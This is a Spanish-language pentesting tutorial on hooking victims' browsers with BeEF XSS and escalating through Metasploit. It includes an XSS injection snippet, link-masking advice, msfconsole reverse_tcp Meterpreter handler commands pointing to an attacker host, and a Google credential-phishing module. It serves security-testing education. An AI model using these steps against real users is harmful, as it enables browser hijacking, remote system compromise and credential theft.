Hoy me gustaría profundizar un poco en la utilización de una poderosa herramienta que facilita las tareas de Pentesting en cuanto a la comprobación de la seguridad de los usuarios finales.
BeEF XSS permite realizar un número muy extenso y diverso de comprobaciones de seguridad una vez que se consigue “capturar” el navegador de una víctima.
A lo largo del artículo veremos cómo, junto con la ayuda de Metasploit en mayor o menor medida, un hecho tan simple como una navegación poco segura o un navegador desactualizado pueden suponer el comprometimiento total del sistema.
ACCESO A LA HERRAMIENTA
Localización dentro de Kali Linux: /usr/share/beef-xss/
Credenciales de acceso: beef:beef
En la información mostrada durante el proceso de carga se encuentran las direcciones de acceso a la web UI:
http://192.168.1.33:3000/ui/panelAsí como la dirección que debe suministrarse a la víctima:
http://192.168.1.33:3000/hook.jsUna vez que se accede a la web UI aparece una segunda página que puede ser enviada a la víctima en caso de que se desee un diseño algo más complejo y menos obvio (accesible a través de: http://192.168.1.33:3000/demos/butcher/index.html)
ENMASCARAMIENTO DEL ENLACE:
Hay varias opciones a la hora de llevar a cabo esta tarea. Una técnica básica podría ser enmascarar la dirección con una herramienta como tinyurl o bitly.
Para un uso no didáctico de la herramienta otra posible opción podría ser la de subir el archivo hook.js a un servidor utilizando una vulnerabilidad de file upload e incrustar el código javascript necesario para su ejecución en una página gracias a una vulnerabilidad XSS persistente.
Código a incrustar:
<script> var commandModulerStr = ‘<script src=” ’ + window.location.protocol + ‘//’ + window .location.host + ‘/hook.js” type=”text/javascript”> document.write(commandModulerStr); </script>
INFECCIÓN Y OPCIONES DE EXPLOTACIÓN
Una vez que la víctima abra la web maliciosa en su navegador aparecerá en la interfaz de la aplicación.
NOTA: Es muy importante tener claro que el hecho de que la víctima haya abierto el enlace solo supone que su navegador ha sido capturado, pero no necesariamente que pueda ser explotado.
Si se pulsa sobre una de las víctimas aparecerá un menú con distinta información y opciones.
Entre las opciones más interesantes se encuentran:
- Logs: que ofrece información del estado del objetivo en tiempo real.
- Commands: que permite ejecutar órdenes y ataques contra la víctima.
- Ipec: que ejecuta comandos directamente sobre el objetivo como si se tratara de una Shell remota.
- Rider: envía peticiones HTTP arbitrarias al navegador objetivo.
Dentro de la pestaña Commands aparece un menú desplegable en el que se puede seleccionar de entre una serie de opciones
A la hora de ejecutar órdenes es importante conocer la leyenda de colores que aparece al lado del nombre de los ataques:
- Verde: el objetivo es vulnerable al módulo y pasará desapercibido para el usuario.
- Naranja: el objetivo es vulnerable al módulo pero su ejecución será advertida.
- Gris: no se ha comprobado la efectividad del módulo.
- Rojo: el módulo no funciona contra la víctima.
Para ejecutar un módulo basta con seleccionarlo en el menú de la izquierda, configurar las opciones en caso de incluir alguna y pulsar sobre “Execute”.
Los módulos son muy variados y aportan un gran número de funcionalidades. Así por ejemplo, los módulos del apartado Browser intentan detectar plugins de navegador y obtener información del protocolo HTTP; en Host aparecen opciones de descubrimiento de software instalado en el SO así como de fingerprinting del mismo, Network permite llevar a cabo tareas de identificación de características de red y Social Engineering permite llevar ataques variados como Clickjacking o el envío de notificaciones falsas dependiendo del navegador utilizado.
Sin duda, la categoría con más módulos es la de Exploits. En ella aparece un submenú con distintas categorías en base al tipo de ataque. Por supuesto, para que estos ataques tengan efecto el host debe contar con la vulnerabilidad necesaria para su explotación.
OBTENCIÓN DE UNA SESIÓN METERPRETER (OPCIÓN 1)
- Abrir Metasploit
msfconsole
- Utilizar la herramienta de autopwn para navegadores.
use auxiliary/server/browser_autopwn set LHOST 192.168.1.33 set PAYLOAD_WIN32 windows/meterpreter/reverse_tcp set PAYLOAD_JAVA java/meterpreter/reverse_tcp exploit
- Una vez que se hayan cargado todos los exploits aparecerá una dirección a la que deberá acceder la víctima.
- Se utilizara BeEF para redirigir a la víctima hacia la página suministrada por Metasploit.
- En el navegador de la víctima se producirá la redirección.
- Tras lo cual se empezará a ejecutar el autopwn. Una vez que finalice se comprueban las sesiones de meterpreter abiertas.
sessions -l
- Para abrir una sesión en concreto basta con ejecutar “sessions -i <número de sesión>”
sessions -i 6
¡Ya se ha obtenido el acceso al sistema!
OBTENCIÓN DE UNA SESIÓN METERPRETER (OPCIÓN 2)
Esta vez se intentará explotar el sistema a través de un Payload para Java incluido en el propio BeEF.
- Abrir metasploit y configurar un handler
msfconsole use exploit/multi/handler set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.33 set LPORT 6666 run
- Ahora hay que lanzar el módulo “Java Payload” desde BeEF.
- Al abrir el terminar ejecutando Metasploit puede verse una sesión de meterpreter abierta.
¡Un nuevo acceso al sistema!
BONUS ATTACK: OBTENER CREDENCIALES DE GOOGLE.
Una de las opciones más interesantes de entre los ataques de Ingeniería Social es el módulo de Google Phishing.
- Se lanza el módulo desde el menú correspondiente.
- Tras la ejecución, el navegador de la víctima mostrará una nueva página en la que se solicita la autenticación de Google.
- En la herramienta aparecerán las credenciales introducidas por el usuario.
NOTA: Aunque el ataque puede parecer demasiado obvio y poco efectivo, lo cierto es que el desconocimiento de los usuarios y la falta de concienciación en materia de seguridad pueden volverlo más efectivo de lo que cabría esperar.